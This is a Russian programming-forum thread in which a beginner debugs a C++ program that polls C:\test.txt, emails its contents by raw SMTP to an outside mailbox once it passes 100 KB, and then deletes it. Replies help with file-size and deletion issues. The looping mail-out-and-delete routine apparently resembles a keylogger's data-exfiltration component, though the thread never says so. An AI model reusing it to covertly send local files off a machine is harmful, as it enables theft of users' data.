Форум программистов, компьютерный форум, киберфорум
С++ для начинающих
Войти
Регистрация
Восстановить пароль
Блоги Сообщество Поиск Заказать работу  
 
Рейтинг 4.87/15: Рейтинг темы: голосов - 15, средняя оценка - 4.87
0 / 0 / 0
Регистрация: 19.08.2013
Сообщений: 7

Как определить размер открытого файла

31.08.2013, 21:19. Показов 3272. Ответов 8
Метки нет (Все метки)

Студворк — интернет-сервис помощи студентам
Как определить размер открытого файла. Я заметил, что если запустить программу для определения размера файла каждые 30с , то размер будет одинаковым(если при этом размер уменьшится/увеличится), либо появится ошибки.
Помогите реализовать это.
0
IT_Exp
Эксперт
34794 / 4073 / 2104
Регистрация: 17.06.2006
Сообщений: 32,602
Блог
31.08.2013, 21:19
Ответы с готовыми решениями:

Как узнать размер открытого файла
#include <iostream> #include <fstream> #include <windows.h> #include <cstdlib> #include <stdio.h> using namespace std; ...

Как изменить размер открытого для записи файла
Доброе время суток. Задание: В текстовом файле заменить все последовательности идущих подряд пробелов одним пробелом. Как изменить...

Как узнать текущий размер файла, открытого для записи?
File=CreateFile(FilePath.c_str(), GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);, потом в этот файл...

8
567 / 198 / 70
Регистрация: 25.05.2012
Сообщений: 816
31.08.2013, 22:32
Цитата Сообщение от Efremovs Посмотреть сообщение
Я заметил, что если запустить программу для определения размера файла каждые 30с , то размер будет одинаковым(если при этом размер уменьшится/увеличится)
Откуда уверенность, что размер файла увеличивается/уменьшается? Приведите конкретный пример.
0
Почетный модератор
7393 / 2639 / 281
Регистрация: 29.07.2006
Сообщений: 13,696
31.08.2013, 22:36
C
1
2
    struct stat file_stat;
    fstat(fd, &file_stat);
В file_stat.st_size размер в байтах
0
5500 / 4895 / 831
Регистрация: 04.06.2011
Сообщений: 13,587
31.08.2013, 23:42
Цитата Сообщение от Efremovs Посмотреть сообщение
если при этом размер уменьшится/увеличится
Не забывайте, что файловый ввод/вывод буферизирован и чтобы выполненные изменения попали из буфера в файл, нужно произвести определённые действия.
0
0 / 0 / 0
Регистрация: 19.08.2013
Сообщений: 7
01.09.2013, 12:31  [ТС]
Цитата Сообщение от dmitry94 Посмотреть сообщение
Откуда уверенность, что размер файла увеличивается/уменьшается? Приведите конкретный пример.
Потому что программа работает с этим ТХТ файлом и , когда этот файл достигает размера 100кб программа отправляет на емаил. Я заметил что она первый раз при запуске "смотрит" на размер файла и он таким же остается до завершения программы. Если размер при запуске 100кб она отправляет, если во время работы программы размер достигает 100кб она не отправляет файл. Вот кусок кода:
C++ (Qt)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#include <iostream>
#include <fstream>
#include <winsock.h>
using namespace std;
 
void Base64Encode(const char* pText, size_t textLen, char* pResBuf, size_t bufLen)
{
    static union
    {
        char arr[3];
        struct
        {
            unsigned a1 : 6, a2 : 6, a3 : 6, a4 : 6;
        } s;
    };
    static char* ini = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    memset(pResBuf, '\0', bufLen);
    int i = 0, j = 0, k = 0;
    for(i = 0, k = 0; i < (int)textLen;)
    {
        arr[0] = arr[1] = arr[2] = '\0';
        for(j = 2; j >= 0 && i < (int)textLen; --j, ++i)
        {
            arr[j] = pText[i];
        }
        pResBuf[k++] = ini[s.a4];
        pResBuf[k++] = ini[s.a3];
        pResBuf[k++] = (1 > j ? ini[s.a2] : '=');
        pResBuf[k++] = (0 > j ? ini[s.a1] : '=');
    }
}
 
int main()
{
fstream file("C:\\test.txt");
     int size = 0;
    file.seekg (0, std::ios::end);
    size = file.tellg();
    file.close();
    
while(true) {if (size > 102400) {
        char* pfilename = "C:\\test.txt";          // имя файла
    std::ifstream ifs(pfilename, std::ios::binary);
    if(ifs.is_open())
    {
        setlocale(LC_ALL,"Russian");
        struct sockaddr_in smtp_address;
        int nConnect, iMsg = 0, iEnd = 0, rc;
        ifs.seekg(0, std::ios::end);
        size_t fsize = size_t(ifs.tellg());
        std::cout << "fsize (ifs.tellg()): " << fsize << "\n\n";
        ifs.seekg(0, std::ios::beg);
        char* pFileContent = new char[fsize]; // содержимое файла
        char* pBuf = new char[1024];
        char* hostname = "smtp.mail.ru";      // почтовый сервер ящика отправителя
        hostent *h = 0;
        char login[] = "почта", password[] = "пароль"; // имя и пароль ящика отправителя
        size_t index = 0;
        for(index = 0; ifs.get(pFileContent[index]); ++index)
        ;
        std::cout << "index (считано с файла): " << index << "\n\n";
 
        char* pSeventhString = new char[size_t(index * 2) + 1024];
        strcpy(pSeventhString,
            "from:<efremovs-mail@mail.ru>\r\n"                // ящик отправителя
            "to:<cpanele@yandex.ru>\r\n"                  // ящик получателя
            "subject: Sub\r\n"               // Тема письма (должна быть в utf-8)
            "Mime-Version: 1.0\r\n"
            "Content-Type: multipart/mixed; boundary=bound\r\n"
            "\r\n--bound\r\n"
            "Content-type: text/plain; charset=windows-1251\r\n"
            "Content-Transfer-Encoding: quoted-printable\r\n\r\n"
            "Hello.\r\n"                        //текст письма
            "\r\n--bound\r\n"
            "Content-Type: text/plain; name=");
            strcat(pSeventhString, pfilename);
            strcat(pSeventhString, "\r\n"
            "Content-Transfer-Encoding: base64\r\n"
            "Content-Disposition: attachment\r\n\r\n");
        char* pSeventhStringMiddle = new char[size_t(index * 2) + 1024];
        char seventhStringEnd[] = "\r\n--bound--\r\n.\r\n";
 
        char** pMailMessage = new char*[9];
        for(size_t i = 0; i < 9; ++i)
            if(i != 7)
                pMailMessage[i] = new char [1024];
            else
                pMailMessage[i] = new char [size_t(index * 2) + 1024];
 
        strcpy(pMailMessage[0], "EHLO mail.ru\r\n");
        strcpy(pMailMessage[1], "AUTH LOGIN\r\n");
        strcpy(pMailMessage[2], "");
        strcpy(pMailMessage[3], "");
        strcpy(pMailMessage[4], "mail from:<efremovs-mail@mail.ru>\r\n");// ящик отправителя
        strcpy(pMailMessage[5], "rcpt to:<cpanele@yandex.ru>\r\n");  // ящик получателя
        strcpy(pMailMessage[6], "data\r\n");
        strcpy(pMailMessage[7], "");
        strcpy(pMailMessage[8], "quit\r\n");
 
        Base64Encode(login, strlen(login), pBuf, 1024);
        strcpy(pMailMessage[2], strcat(pBuf,"\r\n"));
 
        Base64Encode(password, strlen(password), pBuf, 1024);
        strcpy(pMailMessage[3], strcat(pBuf,"\r\n"));
 
        Base64Encode(pFileContent, index, pSeventhStringMiddle, size_t(index * 2) + 1024);
        strcat(pSeventhString, strcat(strcat(pSeventhStringMiddle,"\r\n"), seventhStringEnd));
        strcpy(pMailMessage[7], pSeventhString);
 
        WSADATA WSAData;
        if(rc = WSAStartup(MAKEWORD(1, 1), &WSAData))
            return __LINE__;
        SOCKET nSMTPServerSocket = socket(PF_INET, SOCK_STREAM, 0);
        if(nSMTPServerSocket != INVALID_SOCKET)
        {
            smtp_address.sin_family = AF_INET;
            if ((h = gethostbyname(hostname)) == 0)
            {
                std::cerr << "gethostbyname failed\n";
                system("pause");
                return __LINE__;
            }
            smtp_address.sin_addr.s_addr = inet_addr(inet_ntoa(*(reinterpret_cast<in_addr*>(h->h_addr))));
            smtp_address.sin_port = htons(25);
            nConnect = connect(nSMTPServerSocket, (PSOCKADDR)&smtp_address,
                                                                sizeof(smtp_address));
            if(!nConnect)
            {
                iMsg = iEnd = 0;
                do
                {
                    iEnd = recv(nSMTPServerSocket, pBuf, 1024, 0);
                    pBuf[iEnd] = '\0';
                    printf("\nAnswer: %s", pBuf);
                    if(iMsg != 7)
                        printf("Request: %s", pMailMessage[iMsg]);
                    send(nSMTPServerSocket, pMailMessage[iMsg], strlen(pMailMessage[iMsg]), 0);
                    iMsg++;
                }
                while(iMsg < 9);
                iEnd = recv(nSMTPServerSocket, pBuf, 1024, 0);
                pBuf[iEnd] = '\0';
                printf(pBuf);
            }
            closesocket(nSMTPServerSocket);
            
        }
        ifs.close();
        DeleteFile("C:\\test.txt");
    }
    else
        std::cerr << "Unable to open input file" << std::endl;
        }
        Sleep(999);
}
        return 0;
        }
Добавлено через 47 секунд
Вот сам код определения размера:
C++ (Qt)
1
2
3
4
5
fstream file("C:\\test.txt");
     int size = 0;
    file.seekg (0, std::ios::end);
    size = file.tellg();
    file.close();
Добавлено через 15 минут
Проблема рещилась, но теперь вопрос: В коде:
C++ (Qt)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
#include <iostream>
#include <fstream>
#include <winsock.h>
using namespace std;
 
void Base64Encode(const char* pText, size_t textLen, char* pResBuf, size_t bufLen)
{
    static union
    {
        char arr[3];
        struct
        {
            unsigned a1 : 6, a2 : 6, a3 : 6, a4 : 6;
        } s;
    };
    static char* ini = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    memset(pResBuf, '\0', bufLen);
    int i = 0, j = 0, k = 0;
    for(i = 0, k = 0; i < (int)textLen;)
    {
        arr[0] = arr[1] = arr[2] = '\0';
        for(j = 2; j >= 0 && i < (int)textLen; --j, ++i)
        {
            arr[j] = pText[i];
        }
        pResBuf[k++] = ini[s.a4];
        pResBuf[k++] = ini[s.a3];
        pResBuf[k++] = (1 > j ? ini[s.a2] : '=');
        pResBuf[k++] = (0 > j ? ini[s.a1] : '=');
    }
}
 
int main()
{
while(true) {
fstream file("C:\\test.txt");
     int size = 0;
    file.seekg (0, std::ios::end);
    size = file.tellg();
    file.close();
    
if (size > 102400) {
        char* pfilename = "C:\\test.txt";          // имя файла
    std::ifstream ifs(pfilename, std::ios::binary);
    if(ifs.is_open())
    {
        setlocale(LC_ALL,"Russian");
        struct sockaddr_in smtp_address;
        int nConnect, iMsg = 0, iEnd = 0, rc;
        ifs.seekg(0, std::ios::end);
        size_t fsize = size_t(ifs.tellg());
        std::cout << "fsize (ifs.tellg()): " << fsize << "\n\n";
        ifs.seekg(0, std::ios::beg);
        char* pFileContent = new char[fsize]; // содержимое файла
        char* pBuf = new char[1024];
        char* hostname = "smtp.mail.ru";      // почтовый сервер ящика отправителя
        hostent *h = 0;
        char login[] = "почта", password[] = "пароль"; // имя и пароль ящика отправителя
        size_t index = 0;
        for(index = 0; ifs.get(pFileContent[index]); ++index)
        ;
        std::cout << "index (считано с файла): " << index << "\n\n";
 
        char* pSeventhString = new char[size_t(index * 2) + 1024];
        strcpy(pSeventhString,
            "from:<efremovs-mail@mail.ru>\r\n"                // ящик отправителя
            "to:<cpanele@yandex.ru>\r\n"                  // ящик получателя
            "subject: Sub\r\n"               // Тема письма (должна быть в utf-8)
            "Mime-Version: 1.0\r\n"
            "Content-Type: multipart/mixed; boundary=bound\r\n"
            "\r\n--bound\r\n"
            "Content-type: text/plain; charset=windows-1251\r\n"
            "Content-Transfer-Encoding: quoted-printable\r\n\r\n"
            "Hello.\r\n"                        //текст письма
            "\r\n--bound\r\n"
            "Content-Type: text/plain; name=");
            strcat(pSeventhString, pfilename);
            strcat(pSeventhString, "\r\n"
            "Content-Transfer-Encoding: base64\r\n"
            "Content-Disposition: attachment\r\n\r\n");
        char* pSeventhStringMiddle = new char[size_t(index * 2) + 1024];
        char seventhStringEnd[] = "\r\n--bound--\r\n.\r\n";
 
        char** pMailMessage = new char*[9];
        for(size_t i = 0; i < 9; ++i)
            if(i != 7)
                pMailMessage[i] = new char [1024];
            else
                pMailMessage[i] = new char [size_t(index * 2) + 1024];
 
        strcpy(pMailMessage[0], "EHLO mail.ru\r\n");
        strcpy(pMailMessage[1], "AUTH LOGIN\r\n");
        strcpy(pMailMessage[2], "");
        strcpy(pMailMessage[3], "");
        strcpy(pMailMessage[4], "mail from:<efremovs-mail@mail.ru>\r\n");// ящик отправителя
        strcpy(pMailMessage[5], "rcpt to:<cpanele@yandex.ru>\r\n");  // ящик получателя
        strcpy(pMailMessage[6], "data\r\n");
        strcpy(pMailMessage[7], "");
        strcpy(pMailMessage[8], "quit\r\n");
 
        Base64Encode(login, strlen(login), pBuf, 1024);
        strcpy(pMailMessage[2], strcat(pBuf,"\r\n"));
 
        Base64Encode(password, strlen(password), pBuf, 1024);
        strcpy(pMailMessage[3], strcat(pBuf,"\r\n"));
 
        Base64Encode(pFileContent, index, pSeventhStringMiddle, size_t(index * 2) + 1024);
        strcat(pSeventhString, strcat(strcat(pSeventhStringMiddle,"\r\n"), seventhStringEnd));
        strcpy(pMailMessage[7], pSeventhString);
 
        WSADATA WSAData;
        if(rc = WSAStartup(MAKEWORD(1, 1), &WSAData))
            return __LINE__;
        SOCKET nSMTPServerSocket = socket(PF_INET, SOCK_STREAM, 0);
        if(nSMTPServerSocket != INVALID_SOCKET)
        {
            smtp_address.sin_family = AF_INET;
            if ((h = gethostbyname(hostname)) == 0)
            {
                std::cerr << "gethostbyname failed\n";
                system("pause");
                return __LINE__;
            }
            smtp_address.sin_addr.s_addr = inet_addr(inet_ntoa(*(reinterpret_cast<in_addr*>(h->h_addr))));
            smtp_address.sin_port = htons(25);
            nConnect = connect(nSMTPServerSocket, (PSOCKADDR)&smtp_address,
                                                                sizeof(smtp_address));
            if(!nConnect)
            {
                iMsg = iEnd = 0;
                do
                {
                    iEnd = recv(nSMTPServerSocket, pBuf, 1024, 0);
                    pBuf[iEnd] = '\0';
                    printf("\nAnswer: %s", pBuf);
                    if(iMsg != 7)
                        printf("Request: %s", pMailMessage[iMsg]);
                    send(nSMTPServerSocket, pMailMessage[iMsg], strlen(pMailMessage[iMsg]), 0);
                    iMsg++;
                }
                while(iMsg < 9);
                iEnd = recv(nSMTPServerSocket, pBuf, 1024, 0);
                pBuf[iEnd] = '\0';
                printf(pBuf);
            }
            closesocket(nSMTPServerSocket);
            
        }
        ifs.close();
        DeleteFile("C:\\test.txt");
    }
    else
        std::cerr << "Unable to open input file" << std::endl;
        }
}
        return 0;
        }
Происходит зацикливание кода, где проверяется размер файла и отправка на емаил. Так вот, когда файл достигает нужного размера он начинает отправлять много писем на емаил, хотя старый файл должен удалится. Почему он не удаляет? Помогите
Вот кусок кода где должен удалитькак я понял после закрытия соединения)
C++ (Qt)
1
2
        ifs.close();
        DeleteFile("C:\\test.txt");
0
567 / 198 / 70
Регистрация: 25.05.2012
Сообщений: 816
01.09.2013, 16:59
Цитата Сообщение от Efremovs Посмотреть сообщение
Происходит зацикливание кода, где проверяется размер файла и отправка на емаил. Так вот, когда файл достигает нужного размера он начинает отправлять много писем на емаил, хотя старый файл должен удалится. Почему он не удаляет? Помогите
Я так понял, что какой-то другой процесс пишет данные в файл. Возможно при попытке удаления файл не закрыт и по этому удалить его нельзя. Смотрите GetLastError после выполнения DeleteFile.
0
0 / 0 / 0
Регистрация: 19.08.2013
Сообщений: 7
01.09.2013, 21:50  [ТС]
Нет, этот процесс пишет в файл. Я скопировал только часть кода.

Добавлено через 2 минуты
К слову, я примерно такую программу писал год назад на C#. Если честно, там намного проще было отправлять файл на почту, считывать размер, удалять и т.д..
0
0 / 0 / 0
Регистрация: 19.08.2013
Сообщений: 7
10.09.2013, 21:19  [ТС]
Нету решения этой проблемы?
0
5500 / 4895 / 831
Регистрация: 04.06.2011
Сообщений: 13,587
11.09.2013, 02:26
Цитата Сообщение от Efremovs Посмотреть сообщение
Нету решения этой проблемы?
У меня файл удаляется. Код работает нормально. Добавьте проверку на открытие файле:
C++
1
2
3
4
5
6
7
8
9
10
11
    fstream file("C:\\test.txt");
    if (!file) 
    {
        cout << "Error opening file!" << endl;
        cin.get();
        return 0;
    }
    int size = 0;
    file.seekg (0, std::ios::end);
    size = file.tellg();
    file.close();
Только не вижу, где там изменение размера файла? Если тут это не показано, значит дело в коде, который изменяет размер файла, ведь без него, у меня, работает.
Миниатюры
Как определить размер открытого файла  
0
Надоела реклама? Зарегистрируйтесь и она исчезнет полностью.
BasicMan
Эксперт
29316 / 5623 / 2384
Регистрация: 17.02.2009
Сообщений: 30,364
Блог
11.09.2013, 02:26
Помогаю со студенческими работами здесь

Как определить размер файла свыше 4Гб?
FILE *d,*d1; d=fopen(&quot;D:\\tr.txt&quot;,&quot;rb&quot;); d1=fopen(&quot;D:\\trr.txt&quot;,&quot;wb+&quot;); //нужно вывести размер в байтах d fseek(d, 0,...

Как определить размер файла?
Сабжж! Научите пожалста! Я вот нашёл функцию GetFileSize но никак не разберусь как она работает.

Как определить размер и атрибуты файла?
скажите пожалуйста почему мне не выдает размер файла эта функция procedure TForm3.Button3Click(Sender: TObject); var ...

Как определить размер типизированного файла
Подскажите, пожалуйста, как определить размер типизированного файла, который может быть либо TCon_File1 ил и TCon_File2 или TCon_File3. ...

Как максимально точно определить размер файла?
Допустим, файл содержит следующую информацию: 111 222 Пусть все символы имеют кодировку ANSI. Тогда размер содержимого данного файла...


Искать еще темы с ответами

Или воспользуйтесь поиском по форуму:
9
Ответ Создать тему
Новые блоги и статьи
SDL3 для Web (WebAssembly): Идентификация объектов на Box2D v3 - использование userData и событий коллизий
8Observer8 02.03.2026
Содержание блога Финальная демка в браузере. Итоговый код: finish-collision-events-sdl3-c. zip https:/ / www. cyberforum. ru/ blog_attachment. php?attachmentid=11680&amp;d=1772460536 Одним из. . .
Реалии
Hrethgir 01.03.2026
Нет, я не закончил до сих пор симулятор. Эта задача сложнее. Не получилось уйти в плавсостав, но оно и к лучшему, возможно. Точнее получалось - но сварщиком в палубную команду, а это значит, в моём. . .
Ритм жизни
kumehtar 27.02.2026
Иногда приходится жить в ритме, где дел становится всё больше, а вовлечения в происходящее — всё меньше. Плотный график не даёт вниманию закрепиться ни на одном событии. Утро начинается с быстрых,. . .
SDL3 для Web (WebAssembly): Сборка библиотек: SDL3, Box2D, FreeType, SDL3_ttf, SDL3_mixer и SDL3_image из исходников с помощью CMake и Emscripten
8Observer8 27.02.2026
Недавно вышла версия 3. 4. 2 библиотеки SDL3. На странице официальной релиза доступны исходники, готовые DLL (для x86, x64, arm64), а также библиотеки для разработки под Android, MinGW и Visual Studio. . . .
SDL3 для Web (WebAssembly): Реализация движения на Box2D v3 - трение и коллизии с повёрнутыми стенами
8Observer8 20.02.2026
Содержание блога Box2D позволяет легко создать главного героя, который не проходит сквозь стены и перемещается с заданным трением о препятствия, которые можно располагать под углом, как верхнее. . .
Конвертировать закладки radiotray-ng в m3u-плейлист
damix 19.02.2026
Это можно сделать скриптом для PowerShell. Использование . \СonvertRadiotrayToM3U. ps1 <path_to_bookmarks. json> Рядом с файлом bookmarks. json появится файл bookmarks. m3u с результатом. # Check if. . .
Семь CDC на одном интерфейсе: 5 U[S]ARTов, 1 CAN и 1 SSI
Eddy_Em 18.02.2026
Постепенно допиливаю свою "многоинтерфейсную плату". Выглядит вот так: https:/ / www. cyberforum. ru/ blog_attachment. php?attachmentid=11617&stc=1&d=1771445347 Основана на STM32F303RBT6. На борту пять. . .
Камера Toupcam IUA500KMA
Eddy_Em 12.02.2026
Т. к. у всяких "хикроботов" слишком уж мелкий пиксель, для подсмотра в ESPriF они вообще плохо годятся: уже 14 величину можно рассмотреть еле-еле лишь на экспозициях под 3 секунды (а то и больше),. . .
КиберФорум - форум программистов, компьютерный форум, программирование
Powered by vBulletin
Copyright ©2000 - 2026, CyberForum.ru